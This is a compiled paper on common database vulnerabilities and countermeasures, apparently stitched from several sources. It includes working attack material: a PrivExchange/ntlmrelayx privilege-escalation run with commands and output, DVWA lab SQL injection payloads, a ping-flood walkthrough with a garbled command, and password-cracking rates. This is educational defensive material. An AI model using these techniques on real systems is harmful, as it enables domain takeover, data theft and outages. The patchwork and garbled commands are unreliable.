Oracle Database Attacks

Data is stored in database for easy and efficient way to manage these data. All the
operations of data manipulation and maintenance are done using Database Management
System. Considering the importance of data in organization, it is absolutely essential to
secure the data present in the database. A secure database is the one which is
reciprocated from different possible database attacks. Security models are required to
develop for databases. These models are different in many aspects as they are dealing
with different issues of the database security. They may different also because of they
are taking different assumptions about what constitutes a secure database. So, it
becomes very difficult for database security seekers to select appropriate model for
securing their database. In this paper, we have discussed some of the attacks that can
be possible with its counter measures and its control methods that can be possible.
Securing database is important approach for the planning of explicit and directive based
database security requirements. Ensuring security for database is very critical issues for
the companies. As complexity of database increases, we may tend to have more complex
security issues of database.

Following are the most common database attacks/vulnerabilities:

1. Privilege Abuse

2. SQL Injection

3. Unprotected Network

4. Inadequate Patch Management

5. Backup Data Exposure

6. Missing Segregation

7. Flawed Key Management

8. Weak Audit Trail

9. Data Inference

10. Defects

11. Weak Authentication

12. Denial of Service

1. Privilege Abuse

Privilege Abuse comes in two flavors: Abuse of excessive privileges and abuse of legitimate
privileges.

In most database installations, the Least Privilege Principle is not adhered to. There are many
reasons why more privileges than necessary were granted to a person or an application login.
For example, the development staff might not know any better; or they do know better but think
they do not have the time to implement this correctly. There are also occasions in which
implementation of the least privilege principle is anything but trivial. Think about an application
that needs to be able to create and alter SQL Agent Jobs. Even an extensive internet search
might leave you with the false impression that adding the application account to the sysadmin
fixed server role is your only option to make that particular requirement work.

Granting excessive permissions is problematic for two reasons. About 80% of the attacks on
company data are actually executed by employees or ex-employees. Granting too many
privileges or not revoking those privileges in time makes it unnecessarily simple for them to
execute their wrongdoing. Some of these actions might even be executed inadvertently or without
the perception of those actions being illegal. For example, medical records of prominent people
are exposed by employees all the time. (That is just one of the reasons why you should encrypt
HIPAA-related data.)

The second reason is connected to another vulnerability: SQL Injection. If an adversary gains
access to your data using SQL injection, you are already in trouble. If they then can do additional
harm, because of excessive privileges being granted to the application account, the damage
might be substantially bigger.

Abuse of Legitimate Privileges:

It is a totally different ballgame if someone abuses privileges they have legitimately. Abuse of
legitimate privileges can be considered a database vulnerability, if the malicious user misuses
their database access privileges. An example for that would be a database administrator sticking
his nose into data that he has no business of knowing, e.g. the contents of the CreditCard table.
However, privilege abuse like this could also be an application problem, if for example the
application allows an account specialist to access accounts not assigned to her.

What can I do to Prevent Privilege Abuse?

Abuse of excessive privileges is easy to deal with. Just do not grant unnecessary privileges and
always follow the Least Privilege Principle. While this sounds trivial, it requires planning early on
during the development process. For example, it might make sense to use different database
accounts for different application functions. That however is significantly more difficult to add after
the fact, so make sure the security architecture is part of the overall application architecture from
the get-go. Also, in the case of application-based privilege abuse, additional checks have to be
implemented inside of the application.

Abuse of legitimate privileges is a lot harder to protect from than abuse of excessive privileges,
as you cannot really prevent it. The first question to ask is, if you have segregated the roles in
your organization enough. For example, does the person responsible for the backups really need
to have sysadmin privileges? However, if you have been following the Least Privilege Principle,
the only course of action left is to have a good auditing trail in place. While you might not be able
to prevent someone misusing legitimate privileges, you can catch them in the act or at least after
the fact if you have a good audit trail. Just make sure that the audit trail contains account
information (this might again require application changes) and review the audit log regularly.

Performing the privilege escalation attack

We need two tools to perform the attack, privexchange.py and ntlmrelayx. You can get
both on GitHub in the PrivExchange and impacket repositories. Start ntlmrelayx in relay mode
with LDAP on a Domain Controller as target, and supply a user under the attackers control to
escalate privileges with (in this case the ntu user):
ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu

Now we run the privexchange.py script:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local

s2012exc.testsegment.local -u ntu -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a
different user.

When this is run with a user which doesn’t have a mailbox, we will get the above error. Let’s try it
again with a user which does have a mailbox associated:

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local

s2012exc.testsegment.local -u testuser -d testsegment.local
Password:
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

After a minute (which is the value supplied for the push notification) we see the connection coming
in at ntlmrelayx, which gives our user DCSync privileges:
We confirm the DCSync rights are in place with secretsdump:

With all the hashed password of all Active Directory users, the attacker can create golden tickets
to impersonate any user, or use any users password hash to authenticate to any service accepting
NTLM or Kerberos authentication in the domain.

2. SQL Injection

Database systems are used for the backend functionality. User supplied data as input is often
used to dynamically build sql statements that affect directly to the databases. Input injection is an
attack that is aimed at subverting the original intent of the application by submitting attacker –
supplied sql statements directly to the backend database.
SQL injection is a type of attack which attacker inserts a malicious SQL query into the web
application by appending it to the input parameters . SQL injection occurs when the developer
used dynamic queries which are concatenated with variables from the user side. In lack of strong
input validation the malicious SQL query will insert into the web application and instead of
variables, concatenate itself with the legitimate query. And send to the database management
system for execution. In result the malicious query will be
executed.
For instance we assume that we have a webpage that receive an integer variable as news id and
show the related news to that Id.
http://www.domain.com/news.php?nid=170
Attacker append the “‘ OR ‘1’= ‘1 “ to the end of the URL
URL:
http://www.domain.com/news.php?nid=170’OR‘1’=’1
In result of opening this address the PHP web page will return all the news without considering
the id of news. This is because the “1=1” is a true condition and “OR” will make the whole condition
true, no matter which statement is true.

Login to DVWA
o Instructions:
1. Start up Firefox on BackTrack
2. Place http://192.168.1.106/dvwa/login.php in the address bar.
▪ Replace 192.168.1.106 with Fedora's IP address obtained in
(Section 3, Step 3).
3. Login: admin
4. Password: password
5. Click on Login
 o

Set Security Level

1. Set DVWA Security Level
o Instructions:
1. Click on DVWA Security, in the left hand menu.
2. Select "low"
3. Click Submit
 o

Manual SQL Injection

1. SQL Injection Menu
o Instructions:
1. Select "SQL Injection" from the left navigation menu.
 o

2. Basic Injection
o Instructions:
1. Input "1" into the text box.
2. Click Submit.
3. Note, webpage/code is supposed to print ID, First name, and Surname to
the screen.
o Notes(FYI):
1. Below is the PHP select statement that we will be exploiting, specifically
$id.
▪ $getid = "SELECT first_name, last_name FROM users WHERE
user_id = '$id'";
 o

3. Always True Scenario

o Instructions:
1. Input the below text into the User ID Textbox (See Picture).
▪ %' or '0'='0
2. Click Submit
o Notes(FYI):
1. In this scenario, we are saying display all record that are false and all
records that are true.
▪ %' - Will probably not be equal to anything, and will be false.
▪ '0'='0' - Is equal to true, because 0 will always equal 0.
2. Database Statement
▪ mysql> SELECT first_name, last_name FROM users WHERE
user_id = '%' or '0'='0';
 o

4. Display Database Version

o Instructions:
1. Input the below text into the User ID Textbox (See Picture).
▪ %' or 0=0 union select null, version() #
2. Click Submit
o Notes(FYI):
1. Notice in the last displayed line, 5.1.60 is displayed in the surname.
2. This is the version of the mysql database.
 o

5. Display Database User

o Instructions:
1. Input the below text into the User ID Textbox (See Picture).
▪ %' or 0=0 union select null, user() #
o Notes(FYI):
1. Notice in the last displayed line, root@localhost is displayed in the
surname.
2. This is the name of the database user that executed the behind the scenes
PHP code.
 o

6. Display Database Name

o Instructions:
1. Input the below text into the User ID Textbox (See Picture).
▪ %' or 0=0 union select null, database() #
o Notes(FYI):
1. Notice in the last displayed line, dvwa is displayed in the surname.
2. This is the name of the database.
 o

Countermeasures
1. Use Stored Procedure instead of implementing direct queries.
2. Implementing MVC Architecture.

Security researchers proposed wide ranges of solutions to combat with SQL injection. These
solutions can be categorized in three main groups of Best code practices, SQL injection detection
and SQL injection runtime prevention.

Each of them has their own advantages and disadvantages which due to the space limitation we
cannot cover them in this study. But the best solution can be the avoidance through
writing secure codes. Writing secure code is a part of best coding practices. Among all best code
practices, using Parameterized Queries is the most secure and efficient
technique.
Parameterized Queries also known as prepared statements. In this technique there are some
placeholders in the SQL query for the user variables. Database management system first will
compile the SQL statement without considering the placeholders and store the result. Next it will
add the variables and compile the statement for the second time. Consequently even if the
attacker inserts a malicious query, the database will treat it like an ordinary string.
Parameterized queries make sure that attacker cannot change the SQL query string even in case
of using dynamic queries.

SQL injection is a dangerous attacking method which can be very sophisticated. In this paper we
only cover a simple example of each attack. However each of these attacks can be launch in a
more complicated way. A good understanding of SQL injection techniques can help developers
to make their applications and the network more secure against this vulnerability. There are many
types of defense techniques exist against this attack, but we believe avoidance is the best
solution. We strongly suggest to developers to use Parameterized queries for making dynamic
queries to avoid SQL injection.

3. Unprotected Network

The network is not an integral part of the database management system. So why is an unprotected
network listed as a database vulnerability?

The Two Levels of Database Network Security:

As someone owning or administrating a database server, you need to be aware of the

common threads to your entire system. While you can argue, that the network is someone
else's responsibility, that would overly simplify the matter.

I assume that your database server is behind the company firewall and not directly accessible
from the internet. Having a database server that is accessible directly from the public internet is
considered a bad practice. If you are in that position I urge you to revisit your application
architecture.

If your server is behind the firewall, then network security means that you need to protect your
network to keep intruders out. That indeed is not the job of the database administrator (unless the
database administrator is also the network administrator). However, there is an important second
part to this equation.

Most database servers including SQL Server by default communicate with their clients in an
unprotected fashion. That means that a person with malicious intent can intercept all
communication between the server and the client while on the same network. If he can witness
an authentication handshake, the intruder can even take over an entire session and run his own
commands against the database server with all the permissions granted to the intercepted user.

Network Encryption to the Rescue:

For the above attack scenario to work, the intruder has to be connected to the same network as
the database server. Therefore, you might think that you are safe, as your database servers are
behind a firewall. However, roughly 80% of all attacks are (intentionally or unintentionally)
executed by insiders (employees), that means by people that are already behind that same
firewall.

Enabling TLS (Transport Layer Security) for your database server can go a long way in tightening
your network security and preventing these types of attack. If you have not done so yet, now is
the time to take action. Enable Encrypted Connections to your Database Engine now.
4. Inadequate Patch Management

Modern software contains flaws.

While we all strive to deliver software that is bug free, in reality no one succeeds in that quest. It
does not matter how experienced your team or how large your budget, in the end you are going
to have a defect, or a feature deviation that slipped through the cracks. One of the more famous
examples of a software bug that made it past all checks is the Ariane 5 disaster. After ten years
of development, supported by a seven billion USD budget, a simple conversion error caused the
rocket to explode just 40 seconds into its maiden flight, causing the loss of the rocket and four
uninsured satellites valued together at 500 Million USD.

Defects and Security

The Reason why you need Good Patch Management

Defects happen in all types of software, and operating systems like Windows as well as database
management systems like SQL Server are no exception. Most of these defects are not as
expensive as the one mentioned above. But they can have a significant impact to your bottom
line.

If a software product deviates from its intended feature set, often that deviation can be used by
malicious users to gain access or elevate their permissions.

Just look at the race between Apple trying to protect their iOS operating system and different
hacker groups being successful again and again in publishing so called Jail Breaks. On a Jail-
Broken iPhone, you can install software that did not go through Apples tight control process. I am
not going to start a discussion about the advantages or disadvantages of Apple's app approval
process. However, Apple has a dedicated and highly skilled security team working on trying to
find and eliminate these bugs before they can be misused for jailbreaking. Still, while it sometimes
takes a few weeks, the "bad guys" seem to always find a way in.

Software Patch Management

The same can be said about the operating system and the database management system you
are running right now. They contain bugs, and those bugs can be misused by people with
malicious intentions. Therefore, it is of utmost importance that you keep your software up to date
by establishing a strong patch management strategy.

If a bug causing a vulnerability is discovered by a bad guy, that one person or group could gain
access to your server. You could argue that this is an unlikely scenario and that you cannot protect
yourself against it anyway. However, once this vulnerability is published which often happens
around the time a patch is made available by the software vendor, everybody out there can use
it. Worse, shortly after a vulnerability is published, the common hack automation tools start to
include exploits for it. Once that happens, everyone, even people with little or no hacking
experience can now use this vulnerability against you.

The only good thing in this story is that quite often this all happens after the vendor has made a
patch available. So you can protect your system and your data. But only if you actually apply the
patches.
Because patches often contain security-related software improvements, and because information
about the underlying problems is publicly available in most cases, you have to install software
patches as soon as feasible. We all know that company policies sometimes get in the way of this.
However, you should always have a patch management strategy in place and install patches
when possible.

Thinking that upgrades are not important is a dangerous fallacy that can cost you in the long run.
The time to act is now. If you do not have a patch management strategy in place, set one up today
and start working on applying those patches.

5. Backup Data Exposure

The Nasty Implications of Backup Data Exposure:

You probably have a sophisticated backup and restore strategy in place. You regularly take
backups of your valuable data and you might even ship it offsite.

The benefit of a backup is that it contains a copy of your data. However, the big problem with
backups is that they contain a copy of your data.

Most of us spend a lot of energy on securing the data in the database, making sure the application
and the different roles in the organization are all following the principle of least privilege, and no
one can get unauthorized access to the precious data.

However, when it comes to backups, many start to get less concerned. Backups are placed on
tape and shipped across the country. Backups end up on employees laptops for development
purposes. You might even use an online backup solutions.

But if you are dealing with sensitive data, the backups contain all that same sensitive data and
you therefore have to protect them the same way. Anyone that can get a hold of a backup file can
just restore the database on one of their own servers, and then go about dissecting the sensitive
data within it undisturbed.

Backup storage media is often completely unprotected from attack. As a result, numerous security
breaches have involved the theft of database backup disks and tapes. Furthermore, failure to
audit and monitor the activities of administrators who have low-level access to sensitive
information can put your data at risk. Taking the appropriate measures to protect backup copies
of sensitive data and monitor your most highly privileged users is not only a data security best
practice, but also mandated by many regulations.

Protect your Data and your Backups

We not only have to protect the data within our database, but you also have to protect the
backups. A strategy designed to protect the data within the database is often not sufficient to
protect the data within a backup. The easiest way to protect the data within a backup is to encrypt
the entire backup. If you are on SQL 2014 already, that functionality is built in. In earlier versions,
you have to find other ways to protect your backups (e.g. with an external tool to do the
encryption).

We have to review our entire backup file life cycle and make sure you have no areas of
unintentional backup data exposure.

Backup storage media is often completely unprotected from attack. As a result, numerous security
breaches have involved the theft of database backup disks and tapes. Furthermore, failure to
audit and monitor the activities of administrators who have low-level access to sensitive
information can put your data at risk. Taking the appropriate measures to protect backup copies
of sensitive data and monitor your most highly privileged users is not only a data security best
practice, but also mandated by many regulations.

Countermeasures of Backup Exposure

Encrypt Databases: Store data in Encrypted form as this allows you to secure both production
and backup copies of databases, then audit the activity of and control access to sensitive data
from users who access databases at the operating system and storage tiers. By leveraging
database auditing along with encryption, organizations can monitor and control users both inside
and outside of the database.

6. Missing Segregation

To segregate means to set apart. Segregation of duties (aka separation of duties) describes the
action of defining and separating roles in a company or other group. The goal of segregation is to
prevent fraud and manage conflict of interest. Segregation has been used in democratic
governments for a long time and is also common in several business types like accounting and
banking. For example, in the banking industry, you often find that a larger transaction needs to be
initiated by one person and then approved by another person.

Segregation of Duties in IT

When dealing with sensitive data, many problems can be avoided by setting up a similar
segregation of duties. For example, the person who is able to copy and decrypt data in the credit
card table should not be the same person that can disable auditing. While following such a strict
separation cannot prevent all fraudulent or malicious activities, it can greatly reduce the risk of
them being executed by internal personnel. Remember, more than three quarters of all attacks
come from or are enabled by internal sources.

Several regulatory laws like Sarbanes-Oxley do now require segregation of duties, and many
external auditors will fail you if you do not have the roles in your organization clearly defined.

The Cost of Separation of Duties

Small businesses often do not have the manpower to implement strict separation of duties. At
that point the security officer (or the person assuming that role, often the owner) has to balance
the risk of not implementing the separation with the cost of hiring additional employees. There
might be also ways to spread the different roles effectively amongst the existing work force. For
example, if a database audit is set up correctly, it does not require any development skills to
review it. Therefore, the role of internal auditor could fall on a person that was originally hired for
a different skill set.

Collusion

Segregation of duties cannot prevent fraud if collusion is in play. In fact, if enough people in an
organization collude to execute some form of fraud or other malicious activity, there is probably
not a lot that can be done to prevent it. However, collusion requires significantly more criminal
energy and is therefore less common than single person fraud.

Roles to Segregate

There are many ways to set up segregation, but the following common roles probably should be
on your radar: Database Administrator, Server Administrator, Backup Operator and Security
Administrator (especially if you are dealing with encryption keys). SQL Server does not always
make it simple to set up segregation of duties correctly. For example, there are still many actions
that require membership in the sysadmin fixed server role. However, Microsoft is continuously
improving the situation and most segregation requirements can be implemented out of the box.

The time to act is now. Review the roles in your company and identify areas in which segregation
is appropriate or required. Do not wait until someone misused inappropriate power.

7. Flawed Key Management

It is important to encrypt important data in your database. But it is also important to manage your
encryption keys correctly. In the below view, It can only be assumed that this was an attempt to
implement something similar to transparent data encryption. While they succeeded to make it
transparent to the application, they also succeeded in making it transparent to any attacker. In
fact, and attacker would not even need access to a backup file to exploit this problem. Essentially,
the data is stored unencrypted.
CREATE VIEW dbo.CustomerCreditCards

AS

SELECT C.first_name, C.last_name,

CAST(DECRYPTBYPASSPHRASE('asw36D2k7XgFcjm',CC.card_number) AS VARCHAR(30)) AS card_number,

CAST(DECRYPTBYPASSPHRASE('asw36D2k7XgFcjm',CC.expiration) AS CHAR(4)) AS expiration

FROM dbo.Customers AS C

JOIN dbo.CreditCards AS CC

ON C.customer_id = CC.customer_id;

Getting encryption key management implemented correctly is not a trivial task. You need to
balance the need to access the data through the application with the requirement not to be able
to access the data directly. You might have to change the encryption keys regularly but you should
not give your DBAs access to the key. There are many seemingly conflicting requirements and
even more ways to get the implementation wrong. Sometimes that leads to the key being
accessible to outsiders, negating the entire encryption effort. Sometimes it leads to keys getting
lost, leaving you locked out, without access to your important data. To avoid these pitfalls, you
need to plan and execute your key management strategy carefully.

Review your encryption requirements and make sure that all data that should be encrypted is
encrypted. But, even more important, make sure that the keys to your encrypted data are not
easily accessible to an intruder. Instead, they should be stored in a safe place and backed up.

8. Weak Audit Trail

Weak audit policy and technology represent risks in terms of compliance, deterrence, detection,
forensics and recovery.
Automated recording of database transactions involving sensitive data should be part of any
database deployment. Failure to collect detailed audit records of database activity represents a
serious organizational risk on many levels. Organizations with weak database audit mechanisms
will increasingly find that they are at odds with industry and government regulatory requirements.
Most audit mechanisms have no awareness of who the end user is because all activity is
associated with the web application account name. Reporting, visibility, and forensic analysis are
hampered because there is no link to the responsible user. Finally, users with administrative
access to the database, either legitimately or maliciously obtained, can turn off native database
auditing to hide fraudulent activity. Audit capabilities and responsibilities should ideally be
separate from both database administrators and the database server platform to ensure strong
separation of duties policies.
Countermeasures of Weak Audit Trail

Network-based audit appliances are a good solution. Such appliances should have no impact on
database performance, operate independently of all users and offer granular data collection.
The Problem with a Weak Audit Trail

You clearly do not want to be in a position after a breach in which you can only tell that something
bad happened, but you cannot get detailed information about what exactly happened. One of the
regulations around PCI compliance is that you have to notify each affected customer individually.
Most of the recent breaches also resulted in the affected company offering identity theft protection
to those individuals. That amounts to a significant per person expense. If you could prove that
only 10% of all customers were actually affected, you could probably save not only money but
also reduce the damage to your reputation.

Without adequate auditing in place, you will not be able to get to this information.

The Audit Advantage

However, there are actually more tangible advantages to an effective audit strategy. For example,
you can use a well-designed audit trail to detect an active thread very early on, before it becomes
a nightmare. An exploit based on SQL Injection for example in many cases requires a high number
of queries to be executed. Depending on your company's size, that should show as a significant
spike in your audit log. If blind injection is involved, you might even see an unusually high number
of queries taking unusually long. Keep in mind that to be able to react to these signals, it is
important to not only record the audit information but also review it regularly.

You also might find yourself in a situation where having a proven audit strategy is not only a best
practice, it is an actual regulatory requirement. For example, both Sarbanes-Oxley and HIPPA
require that every action be traceable, back to the individual who initiated it.

Finally, as with many other security mechanisms, auditing helps to keep the honest honest. A
large number of attacks are executed by employees and contractors. If people know that their
bad actions will be recorded, they are that much less likely to engage in any malicious activity in
the first place.

Auditing is not a wonder weapon against cyber-attacks. However, it has a deterrent effect not to
be underestimated. It might allow you to identify a problem early on and it definitely makes the
investigation after the fact a lot simpler.

9. Data Inference

A database stores a lot of information. There is the information we explicitly put in there. However,
an even bigger wealth of information can be found in the relationships between the records. If you
select a product at Amazon, you will be presented with a list of "related" products: "Other people
who viewed X also viewed these" and "Frequently Bought Together". That information was not
directly stored in the data, but rather materialized by looking at the complete set of all records in
the database.

This information is worth a lot of money. In 2007, Netflix ran a competition with the goal to improve
their suggestion algorithm by just ten percent. This algorithm is used to suggest movies to their
customers that they will probably like. That small improvement was worth one million dollar to
Netflix at the time. (It took two years before someone could reach the goal.) While that story is
interesting in itself, I mention it here because it shows how much value is hidden "between the
lines" of your data.

The Data Inference Problem

If a company goes after hidden information in their own data, for example to gain a competitive
edge, we call the process data mining. However, similar processes can be used to reveal
information to a person who is not supposed to have access to that information. If used in a
malicious context, this same process is called data inference.

Data inference attack

Through data inference, "a competitor or adversary may be able to use data that in isolation
appears to be properly protected to infer data that is highly sensitive." (Hinke et al, 1997, P. 1)

For example, if the adversary has legitimate access to a factory's purchase history, a sudden
spike in the purchasing of a particular material can show that a new product is about to be
produced. Famous examples for this type of information gathering you can find in the press in the
weeks before Apple announces a new product. Indicators commonly used for Apple products are
the availability of the prior generation of the new product, or even the availability of shipping space
between China and the US. (Apple is known to buy up large portions of the entire air shipping
capacity for the days before - and directly following - an announcement.)

Preventing Data Inference

Preventing data inference is extremely difficult. If you are allowing access to aggregated salary
data for example, the salary of a single person could be inferred by using very selective filter
criteria. You can prevent this particular scenario, by returning results only, if the filtered row set
contains at least a set minimum number of records, say five.

The good thing about inference is that it requires deep domain knowledge to be executed
successfully. But you need a similar deep understanding of your data relationships to be able to
prevent it.

While it is difficult to execute, data inference is still one of the most common ways to exploit a
vulnerable database. Therefore, you need to review your access permissions regularly. If you
store information that is not supposed to be accessible by all users of the system, spend some
extra time to think of ways that people with restricted access can use to gather secret information
not intended for their eyes. Naturally, after identifying a gap, you need to close it. The time to start
acting on this is now. But protecting against data inference is also an ongoing process. You are
not done after a single system review.

10. Defects

In the database field most common defect caused by a missing WHERE clause. This type of
defect is very common and often leads to data corruption.

Software defects
The missing WHERE clause

So, what does this have to do with security? In Some cases however, a defect like a missing
WHERE clause section might cause data to be shown to a user that they were not supposed to
see.

Imagine, for example, that your shopping cart would start allowing customers to pay with other
customers' credit cards. This would certainly be a disaster. Cases like this, involving customers
being able to access other customers' data, are actually quite common.

Avoid Defects with Test Driven Design

One of the ways to prevent defects like this is to use Test Driven Design as a development
methodology. The main purpose of Test Driven Design is actually to guide us to well-designed
software. However, using this methodology tends to lead to a code base that is well tested and
does not contain edge-case-disasters like missing parts of WHERE clauses.

11. Weak Authentication

Weak authentication schemes allow attackers to assume the identity of legitimate database users.
Specific attack strategies include brute force attacks, social engineering, and so on.
Implementation of passwords or two-factor authentication is a must. For scalability and ease-of-
use, authentication mechanisms should be integrated with enterprise directory/user management
Infrastructures.

Example of Brute Force is as fallows

password cracker (brute-force) called ops_sse2 for Oracle DES passwords.

The SHA1 algorithm is a bad choice from the password cracking perspective because it can be
cracked much faster (30 Mill pw/s instead of 4 Mill pw/s) on the same computer.
1. Dictionary Based (* Core2Quad 2.4 GHz)
DES: approx. 3 Mill pw/sec (Repscan 3.0 and woraauthbf)
SHA1: approx. 19 Mill pw/sec (Repscan 3.0)

2. Brute Force (* Core2Quad 2.4 GHz)

DES: up to 4 Mill pw/sec (Repscan 3.0 and woraauthbf)
SHA1: approx. 30 Mill pw/sec (Repscan 3.0)

3. Rainbow Table (* Core2Quad 2.4 GHz)

DES: n/a (Cain)
SHA1: hash salted, not useful

4. Dictionary based Rainbow Tables (* Core2Quad 2.4 GHz)

DES: up to 250 Mill pw/sec (ophcrack)
SHA1: hash salted, not useful

5. FPGA
DES: up to 60 Mill pw/sec (Dennis Yurichev)
SHA1: not available

6. GPCPU
DES: n/a
SHA1: n/a (estimated 175 Mill pw/sec)

12. Denial of Service

DOS is an attack used to deny legitimate users access to a resource such as accessing a website,
network, emails, etc. or making it extremely slow. DoS is the acronym for Denial of Service. This
type of attack is usually implemented by hitting the target resource such as a web server with too
many requests at the same time. This results in the server failing to respond to all the requests.
The effect of this can either be crashing the servers or slowing them down.

Types of Dos Attacks

There are two types of Dos attacks namely;

DoS– this type of attack is performed by a single host

Distributed DoS– this type of attack is performed by a number of compromised machines that
all target the same victim. It floods the network with data packets.

How DoS attacks work

Let’s look at how DoS attacks are performed and the techniques used. We will look at five
common types of attacks.

Ping of Death

The ping command is usually used to test the availability of a network resource. It works by
sending small data packets to the network resource. The ping of death takes advantage of this
and sends data packets above the maximum limit (65,536 bytes) that TCP/IP allows. TCP/IP
fragmentation breaks the packets into small chunks that are sent to the server. Since the sent
data packages are larger than what the server can handle, the server can freeze, reboot, or crash.

We will assume you are using Windows for this exercise. We will also assume that you have at
least two computers that are on the same network. DOS attacks are illegal on networks that you
are not authorized to do so. This is why you will need to setup your own network for this exercise.
Open the command prompt on the target computer

Enter the command ipconfig. You will get results similar to the ones shown below

For this example, we are using Mobile Broadband connection details. Take note of the IP address.
Note: for this example to be more effective, and you must use a LAN network.

Switch to the computer that you want to use for the attack and open the command prompt

We will ping our victim computer with infinite data packets of 65500

Enter the following command

ping 10.128.131.108 –t |65500

HERE,
• “ping” sends the data packets to the victim
• “10.128.131.108” is the IP address of the victim
• “-t” means the data packets should be sent until the program is stopped
• “-l” specifies the data load to be sent to the victim
You will get results similar to the ones shown below
Flooding the target computer with data packets doesn’t have much effect on the victim. In order
for the attack to be more effective, you should attack the target computer with pings from more
than one computer.
The above attack can be used to attacker routers, web servers etc.
If you want to see the effects of the attack on the target computer, you can open the task manager
and view the network activities.
• Right click on the taskbar
• Select start task manager
• Click on the network tab
• You will get results similar to the following

If the attack is successful, you should be able to see increased network activities.
Smurf

This type of attack uses large amounts of Internet Control Message Protocol (ICMP) ping traffic
target at an Internet Broadcast Address. The reply IP address is spoofed to that of the intended
victim. All the replies are sent to the victim instead of the IP used for the pings. Since a single
Internet Broadcast Address can support a maximum of 255 hosts, a smurf attack amplifies a
single ping 255 times. The effect of this is slowing down the network to a point where it is
impossible to use it.

Buffer overflow

A buffer is a temporal storage location in RAM that is used to hold data so that the CPU can
manipulate it before writing it back to the disc. Buffers have a size limit. This type of attack loads
the buffer with more data that it can hold. This causes the buffer to overflow and corrupt the data
it holds. An example of a buffer overflow is sending emails with file names that have 256
characters.

Teardrop

This type of attack uses larger data packets. TCP/IP breaks them into fragments that are
assembled on the receiving host. The attacker manipulates the packets as they are sent so that
they overlap each other. This can cause the intended victim to crash as it tries to re-assemble the
packets.

SYN attack

SYN is a short form for Synchronize. This type of attack takes advantage of the three-way
handshake to establish communication using TCP. SYN attack works by flooding the victim with
incomplete SYN messages. This causes the victim machine to allocate memory resources that
are never used and deny access to legitimate users.

DoS Protection: Prevent an attack

An organization can adopt the following policy to protect itself against Denial of Service attacks.

• Attacks such as SYN flooding take advantage of bugs in the operating system. Installing
security patches can help reduce the chances of such attacks.
• Intrusion detection systems can also be used to identify and even stop illegal activities
• Firewalls can be used to stop simple DoS attacks by blocking all traffic coming from an
attacker by identifying his IP.
• Routers can be configured via the Access Control List to limit access to the network and
drop suspected illegal traffic.
• Harden the TCP/IP stack by applying the appropriate registry settings to increase the size
of the TCP connection queue, decrease the connection establishment period, and employ
dynamic backlog mechanisms to ensure that the connection queue is never exhausted .
• Use a network Intrusion Detection System (IDS) because these can automatically detect
and respond to SYN attacks.